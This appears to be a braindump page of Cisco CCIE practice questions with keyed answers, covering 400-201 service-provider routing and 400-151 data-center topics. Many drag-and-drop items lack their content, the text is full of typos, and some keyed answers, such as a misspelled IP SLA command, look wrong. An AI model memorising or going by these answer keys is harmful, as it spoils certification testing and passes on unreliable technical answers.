Refer to the exhibit. Which BGP configuration must be applied to make PE3 use both BGP entries in the Cisco Express Forwarding table?
A. On PE1,apply nexto-hop-self on both PE2 and PE3 neighbors configuration
B. On the CE, apply bgp add-path on both PE1 and PE2 neighbors configuration
C. On PE1, apply route-reflect-client on both PE2 and PE3 neighbors configuration
D. On PE2, apply bgp advertise-best-external on the PE3 neighbor configuration
Correct Answer: D

 

QUESTION 44

pass4itsure 400-201 exam question

Refer to the exhibit. The requirements is to copy traffic from switch A and switch B and to send it to a probe connected to switch D across the routed network. Which technology meets this requirement?
A. NetFlow v5
B. ERSPAN
C. NetFlow v9
D. RSPAN
Correct Answer: B

 

QUESTION 45
Network Operations team has configured the routers with the logging buffered warnings command. Which three severity levels appear in the router syslog? (Choose three)
A. Informational
B. Alerts
C. Notifications
D. Emergencies
E. Errors
F. Debugging
Correct Answer: BDE

 

QUESTION 46

pass4itsure 400-201 exam question

Refer to the exhibit. A company has four office locations, which are identified as 1,2,3 and
4. The PE routers at these locations have assigned RDs of 10:10 , 20:20, 30:30 and 40:40, respectively Locations 1 and 3 need to share routing information
Which set of configurations allows for this requirement?
A. Site 3:
vrf defination ACME
route-target import 10:20
route-target import 20:30
route-target import 40:40
B. Site 1:
vrf defination ACME
route-target import 15:15
Site 3 :
vrf deination ACME
route-target import 15:15
C. Site 1:
vrf defination ACME
route-target import 20:20
route-target import 30:30
route-target import 40:40
D. Site 1:
vrf definition ACME
route-target export 15:15
Site 3:
vrf definition ACME
route-target export 15:15
E. Site 1:
vrf definition ACME
route-target import 30:30
Site 3 :
vrf definition ACME
route-target import 10:10
Correct Answer: E

 

QUESTION 47
A service provider is offering VoIP services level agreement to customers. Which configuration provides validation that the service level agreement has been honored?
A. ipsla 999 udp-jitter 209.165.200.225 1000 codec g729a tag VoIP-SLA ipsla schedule 999 life forever start-time now
B. ipsla 999 icmp-jitter 209.165.200.225 tag VoIP-SLA ipsla schedule 999 life forerver start-time now
C. ipsla 99 icmp-jitter 209.165.200.225 tos 160
ipsla schedule 999 life forever start-time now
D. ipsla 999 udp-jitter 209.165.200.225 tos 160
ipsla schedule 99 life forever start-time now
E. ipsla 999 udp-jitter 209.165.200.225 tos 160
ipsla schedule 999 life forever start-time now
F. ipsla 999 udp-jitter 209.165.200.225 1000 codec g729a tos 160 ipsla schedule 99 life forever stat-time now
Correct Answer: F

 

QUESTION 48

pass4itsure 400-201 exam question

Refer to the exhibit the 2.6.6.6/32 prefix is flapping when PE1 is flapping. Which action can fox this issue?
A. On PE2, allow only redistribution from BGP into IS-IS on PE3, allow only redistribution from IS-IS into BGP
B. On PE2 and PE3 reconfigure redistribute BGP into IS-IS using the metric-type external parameter
C. configure a sham link between PE2 and PE3
D. configure all IS-IS instances as level-1-only
Correct Answer: A

 

QUESTION 49

Refer to the exhibit. Customer Y reported that internet traffic stopped for a few minute. The ISP ABC operation engineer identified that this occurred when ASBR1 router reloaded OSPF coverage faster than BGP. Which command prevent this
happening?
A. Graceful restart
B. set-overload-bit on startup wait-for-bgp
C. bfd min_rx 100 max_rx 100 multiplier 3
D. max-metric router-lsa on startup 300Correct Answer: D

 

QUESTION 50
Which three configuration sections are required on service provider PE router to enable IPv4 layer 3 VPN? (Choose three)
A. Configure route targets that are used for importing and exporting customer VRF routes.
B. Configure route distinguisher that is used for importing and exporting customer VRF routes.
C. Implement MPLS for all customer-facing links.
D. Configure the VPNv4 address-family under the MP-BGP configuration mode on the PE routers that participate in the customer VRF routing.
E. Configure at least one interface that is assigned to a customer link as a member of the VRF
F. Advertise customer route to all PE router by configure the IPv4 address-family under the MP-BGP configuration mode.
Correct Answer: ADE

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Share 50 of the latest Cisco CCIE 400-151 Exam Practice questions and answers for free

QUESTION 1
Drag and drop the feature form the left onto the correct benefits on the right.pass4itsure 400-151 exam question

 

QUESTION 2
Drag and drop the spanning-tree port from the left onto the correct description on the rightpass4itsure 400-151 exam question

 

QUESTION 3
Drag and drop the objects of the ACI policy model from left onto the correct definition on right.pass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 4
Drag and drop the feature from the left onto the left onto the correct description on the rightpass4itsure 400-151 exam question

 

QUESTION 5
Drag and drop me concept of Cisco UCS Director orchestrator from the left onto the correct description on the right.pass4itsure 400-151 exam question

 

QUESTION 6
Drag and drop terms at the Cisco Prime Service Catalog from the left onto the definition on the right.pass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 7
Drag and drop the method from the left onto the correct description on the right.pass4itsure 400-151 exam question

 

QUESTION 8
An admin is updating an existing Cisco UCS environment to accommodate a new storage array that will be directly attached to the Cisco UCS.
Unmanaged servers external to the Cisco UCS fabric interconnects will also access the new array existing Cisco UCS service profiles will be used to access the new storage array.
Drag and drop the appropriate steps from left into the correct order on the right to migrate the Cisco UCS to support the new storage arraypass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 9
Drag and drop the correct port security configuration on the left to the correct action on the right.pass4itsure 400-151 exam question

 

QUESTION 10
Drag and drop the mode of operation on left onto the correct definition on right.pass4itsure 400-151 exam question

 

QUESTION 11
Drag and drop feature on the left onto the appropriate business benefits on the rightpass4itsure 400-151 exam question

 

QUESTION 12
Drag and drop the actions in the left column into the right column in the order in which you would perform those actions in a step-by-step in-service software upgrade processpass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 13
Drag and drop two configurations that should fail without data loss from the left column into the 2 Devices Lost column on the right.pass4itsure 400-151 exam question

 

QUESTION 14
Drag and drop the correct description on the left onto the protocols and features on the right. Not all options will be used.QUESTION 14 Drag and drop the correct description on the left onto the protocols and features on the right. Not all options will be used.

 

QUESTION 15
Drag and drop sequence of the steps on left for ISSU software of dual supervisor switches to achieve a non-disruptive upgrade on the right.pass4itsure 400-151 exam question

 

QUESTION 16
Drag and drop the vPC feature on the left onto the correct description on the right.pass4itsure 400-151 exam question

 

QUESTION 17
Drag and drop the feature form the left onto the correct description on the rightpass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 18
Drag and drop the enlisted four offers from the left onto the correct Cisco ONE Enterprise Cloud Suite on the right.pass4itsure 400-151 exam question

 

QUESTION 19
Drag and drop components of policy drive Layer 4 – Layer 7 services in an ACI environment from left onto the correct definitions on the right.pass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 20
Drag and drop the term about BFD session parameters from the left onto the correct defination on the right?pass4itsure 400-151 exam question

 

QUESTION 21
Drag and Drop the key components of LISP from left onto the correct definitions on the rightpass4itsure 400-151 exam question

 

QUESTION 22
Drag and drop the feature from the left onto the correct benefit on the right.pass4itsure 400-151 exam question pass4itsure 400-151 exam question

 

QUESTION 23
Drag and Droppass4itsure 400-151 exam question

 

QUESTION 24
Drag and drop the orchestration components form the lifet onto relevant Cisco UCS Director functionalities on the right.pass4itsure 400-151 exam question

 

QUESTION 25
You are setting up an ACI spine-leaf architecture and interconnecting the spine switches with the leaf switches. Which description of what happpen initial setup to activate these interlinks is true?
A. Fabric Path must be configured on the interlinks
B. The interlinks are Layer 2 connections and only the allowed VLAN list must be added.
C. The links are creating a Layer 3 network, and all links must be configured as point-to-point links.D. An overlay is created automatically, which creates a setup where the uplinks do not need to be managed manually.
Correct Answer: D

 

QUESTION 26
Which three LSA types are valid for OSPFv2? (Choose three)
A. Router LSA: an LSA sent by every router. This LSA includes the state and the cost of all links and a list of all OSPFv2 neighbors on the link
B. AS Internal LSA: an LSA generated by the ASBR. AS Internal LSAs are flooded only within the autonomous system
C. Backbone Summary: an LSA sent by the backbone router to all the OSPF areas
D. DR Summary LSA: an LSA sent by the DR router to all the others on network
E. Default LSA: an LSA generated by the ASBR. These LSAs are used to propagate default route into OSPF
F. Network LSA: an LSA sent by the DR. This LSA lists all routers in the multi-access network
G. Opaque LSA: an LSA used to extend OSPF
Correct Answer: AFG

 

QUESTION 27
Which statement about network ports in a UCS fabric interconnect is true?
A. Network posts have BPDU Guard enabled.
B. Network posts do not trunk any VLANs unless they are overridden in VLAN Manager.
C. Network posts trunk all VLANs unless they are overridden in VLAN Manager.
D. Network posts are placed into a port channel automatically.
E. Network posts do not trunk any VLANs unless they are overridden in a pin group.
Correct Answer: C

 

QUESTION 28
Which two statemetns about the Cisco Open SND Controller are true? (Choose two)
A. It is a commerical distribution based on the OpenFlow controller.
B. Your own, new ntwork service functions can be added via Java APIs.
C. Security is enforced by using the Open Services Gateway Initiative framework.
D. The controller is available as an appliance only.
E. It can be used in multivendor environments.
Correct Answer: BE

 

QUESTION 29
To test the API in a web browser, which commands must you configure to enable the feature API sandbox on the Cisco Nexus platform running NX-OS?
A. switch(config)# feature nxos-api
switch(config)# nxos-api sandbox
B. switch(config)# feature api
switch(config)# api sandbox
C. switch(config)# feature nx-api
switch(config)# nx-api sandbox
D. switch(config)# feature nxapi
switch(config)# nxapi sandbox
Correct Answer: D

 

QUESTION 30
Which two guidelines apply to private VLAN configuration when you are running FabricPath? (Choose two)
A. FabricPath ports can be put into a private VLAN
B. On the F-Series modules, user-configured static MAC addresses are programmed on all forwarding engines that have ports in that VLAN
C. All VLANs in a private VLAN must be in the same VLAN mode; either CE or FabricPath D. The system does support hierarchical static MAC addresses
D. The F Series module support multiple SPAN destination ports or virtual SPAN.
Correct Answer: BC

 

QUESTION 31
Which two statements about IP Source Guard are true? (Chooes two)
A. IP Source Guard is independent of DHCP snooping to build and maintain the IP-MAC address binding table
B. IP Source Guard requires that DHCP snooping is disabled
C. IP Source Guard limits IP traffic on an interface to only those sources that have an IP-MAC address table entry or static IP source entry
D. By default, IP Source Guard is enabled on all interfaces
E. When you first enable IP Source Guard on an interface, you may experience disruption in IP traffic until the hosts on the interface receive a new IP address from a DHCP server
Correct Answer: CE

 

QUESTION 32
Which option is the default FC-MAP?
A. 0f:fc:00
B. 0e:fc:00
C. 0e:fe:00
D. 0f:fe:00
Correct Answer: B

 

QUESTION 33
Which two connectivity modes does Cisco RISE support? (Choose two)
A. Directly connected. No virtual port channel is supported.
B. Indirectly connected. Only Layer 3 adjacent.
C. Indirectly connected. Only Layer 2 adjacent
D. Indirectly connected. Layer 2 and Layer 3 adjacent.
E. Directly connected. Virtual port channel is supported.
Correct Answer: CE

 

QUESTION 34
Which two options can be used for server pool qualifications? (Choose two)
A. chassis model
B. RAID controller
C. firmware version
D. CPU stepping
E. memory speed
Correct Answer: DE

 

QUESTION 35
Which option is required by atomic counters to be leveraged in troubleshooting endpoint connecticity?
A. Endpoints must be in different endpoint groups
B. Endpoints must connect to different leaf switches
C. Endpoints must connect to the same leaf switch
D. Endpoints must be in different VRFs
E. Endpoints muts be in different bridge domains
Correct Answer: B

 

QUESTION 36
Which two guidelines and limitations of PTP on Cisco NX-OS are ture? (Choose two)
A. PTP supports multicast, unicast, and anycast communication
B. PTP can be enabled only on F – and M – Series module ports.
C. PTP is limitless per network
D. Only one PTP process can control all of the port clocks through the clock manager.E. PTP supports transport over UDP. Transport over Ethernet is not supported.
Correct Answer: DE

 

QUESTION 37
You are configuring an ACI fabric with Layer 3 out connecticity you want to allow traffic to traverse from one extemal EPG to another extermal EPG.or alternatiyely to another internal EPG. Which option must be configured to permit the
packets between these two EPGs, assuming the subnet is already being advertised correctly?
A. Export Route Control
B. Aggregate Export
C. Security import subnet
D. Import Route Control
E. Aggregate Import
Correct Answer: C

 

QUESTION 38
Which three statements are considered best practice when directly connecting converged network adapters to the fabric? (Choose three)
A. Cisco Unified Fabric links must be configured as access ports and FCoE VLAN must not be configured as a native VLAN
B. If MSTP is enabled, a seperate MST instance must be used for FCoE VLANs C. Cisco UF links must be configured as spanning-tree edge ports
C. A shared VLAN can be used to carry traffic for each virtual fabric in the SAN ( for example, VLAN 1002 for VSAN 1, VSAN 2, and so on)
D. Separate FCoE VLANs must be used for FCoE in SAN-A and SAN-B
E. A blade switch must connect to multiple converged access switched in a topology.
Correct Answer: BCE

 

QUESTION 39
Which three commands must be run to enable support of adapter-fex on an interface on a Cisco Nexus Switch? (Choose three)
A. switchport mode vntag
B. feature-set adaper-fex
C. feature-set virtualization
D. feature fex
E. feature adapter-fex
F. switchport mode adapter-fex
Correct Answer: ACE

 

QUESTION 40
Which two guidelines and limitations of netflow on Cisco NX-OS are true? (Choose two)
A. If you change a layer 2 interface to a layer 3 interface, the software converts the layer 2 netflow to layer 3 netflow automatically.
B. It is optional to configure a valid record name
C. The cisco nexus 2000 series fabric extender does not support bridged netflow.
D. Only layer 2 netflow is applied on layer 2 interfaces, and only layer 3 netflow is applied on layer 3 interfaces.
E. You must configure a source interface. If you do not configure a source interface, the exported remains in a disabled state.
Correct Answer: DE

 

QUESTION 41
On a cluster with three APICs, on which APIC can you see actual device package logs?
A. APIC 1
B. on the one that is a leader for device package service
C. depending on the device package, on the APIC that is a leader for that device package
D. depending on the tenant, on the APIC that is a leader for the shard for that particular tenant
Correct Answer: A

 

QUESTION 42
Which two statements about VLAN trunking Protocol are true? (Choose two)
A. On Cisco Nexus switches, VLAN TrunkingProtocol is enabled by default.
B. VLAN Trunking Protocol is only supported on Layer 2 trunk interfaces
C. Layer 2 trunk interfaces, Layer 2 port channels , and virtual port channels support VLAN Trunking Protocol functionality.
D. VLAN Trunking Protocol is a Layer 2 messaging protocol that maintains VLAN consistency by managing the addition, deletion, and renaming of VLANs withing a VLAN Trunking Protocol domain.
E. VLAN Trunking Protocol is a Layer 2 messaging protocol that maintains the interface VLAN configuringwithin a VLAN Trunking Protocol domain.
Correct Answer: CD

 

QUESTION 43
Refer to the exhibit.This output is observed when troubleshooting a blade that is unable to boot from SAN.Which action must the cisco UCS administrator take to resolve this issue?
adapter 1/7/1 (fls):1# lunlist
vnic : 14 lifid:3
– FLOGI State: flogi est (fc_id 0x3a00c0)
– PLOGI Sessions
– WWNN 21:00:00:24:ff:77:77:f2:9a WWPN 21:00:00:24:ff:77:f2:9a fc_id 0x000000
LUN ID : 0x0000000000000000 acccess failure
– REPORT LUNs Query Response
– WWNN 21:00:00:24:ff:77:f2:99 WWPN 21:00:00:24:ff:77:f2:9a fc_id 0x000000
LUN’s configured (SCIS Type, Version, Vendor, Serial No)
LUN ID : 0x0000000000000000 access failure
– REPORT LUNs Query Response
– Nameserver Query Response
– WWPN: 21:00:00:24:ff:77:77:f2:98
– WWPN: 21:00:00:24:ff:77:77:f2:90pass4itsure 400-151 exam question

A. Check the zoning configuration on the fibre Channel switch
B. Check the vHBA VSAN configuration in service profile
C. Check the fatric interconnect storage upink ports
D. Check the iscsi initiator group pool
E. Check the LUN masking configuration on the storage array
Correct Answer: A

 

QUESTION 44
Which three statements are true about redistribution of routes from L3Outs in an ACI Fabric? (Choose three)
A. Routes are not redistributed to leaf switches where the same VRF is present
B. ACI fabric runs MP-BGP
C. Security import subnets control the forwarding of packets into and out of L3Out connections(data plane)
D. Routes learned from L3Outs on border leaf switches are not redistributed into MP-BGP at the ingress lead.
E. Route control subnets control the exchange of routing information(Prefixes) into and out of the fibric (control place)
F. The routes are advertised to all external Layer 3 Outside connections
Correct Answer: BCE

 

QUESTION 45
Refer ti the exhibit, which tool is this sample output from to troubleshoot an ACI fabric?pass4itsure 400-151 exam questionA. traffic map
B. traceroute
C. iPing
D. atomic counters
Correct Answer: D

 

QUESTION 46
Which statement about IP-directed broadcast is true?
A. When a directed broadcast packet reaches a switch that is direcrly connected to its destination subnet, that packet is “exploded” as a broadcast on the destination subnet
B. All switches in the network forward an IP-directed broadcast in the same way they forward unicast IP packets
C. An IP-directed broadcast is a packet whose destination address is a multicast group to send the packet to a group of hosts in a local or remote network
D. All IP-redirected broadcast is an IP packet whose destination address is a valid unicast address, but which originates from a node that is itself part of that destination subnet
Correct Answer: A

 

QUESTION 47
While doing service insertion with vASA with route peering, which two parts must be configured? (Choose two)
A. Point-to-point non-broadcast mode
B. The VM name must be specified when the L4-L7 device is created
C. The path for interfaces must be specified when the L4-L7 device is created
D. The chassis must be specified when the L4-L7 device is created
E. The route peering profile must be specified when the L4-L7 Service Graph template is created
Correct Answer: CE

 

QUESTION 48
Refer to the exhibit. Your application has a reduced health score.Upon inspection,you find a fault that impacts the health score. The fault currently is in the soaking lifecycle stare. Which two options are possible next steps while in this state?
(Choose two)pass4itsure 400-151 exam questionA. Acknowledge the fault. which immediately clears it from the system
B. Once the soaking timer expires the fault ceases and no change is expected in sevenity level.
C. The condition ceases by itself and goes into the soaking-clearing state
D. The condition ceases by itself and automatically clears the fault
E. The soaking timer expires and moves to the Raised sevenity
Correct Answer: CE

 

QUESTION 49
Which three products are part of the Cisco Virtual Application Container Service? (Choose three)
A. Cisco Nexus 9000
B. Cisco Nexus 1000v
C. Application Policy Infrastructure Controller
D. Cisco Prime Network Services Controller
E. Cisco ASR 1000 Router
F. Cisco Virtual Security Gateway
Correct Answer: BDF

 

QUESTION 50
An administrator is reptacing a fabric interconnect.The failed interconnect was FI-A and was master at the time of failure.Which process brings the replacement fabric interconnect into the cluster?
A. Connect the new FI-A to FI-B USING THE Layer 1/Layer 2 cables only.Sync the configuration when prompted.Connect the mangement interface when the configuration is synced.
B. Connect the new FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B.Use the full state backup file to restore the configuration when prompted at the console.
C. Connect the new FI-A to the management network only. Use the fuil state backup file to restore configuration through Cisco UCS Manager GUI.Connect the Layer 1/Layer 2 cables
D. Connect the FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B. Use the all configuration backup file to restore the configuration through Cisco UCS Manager GUI
E. Connect the new FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B Let the system sync with FI-B when promptend at the console
Correct Answer: E

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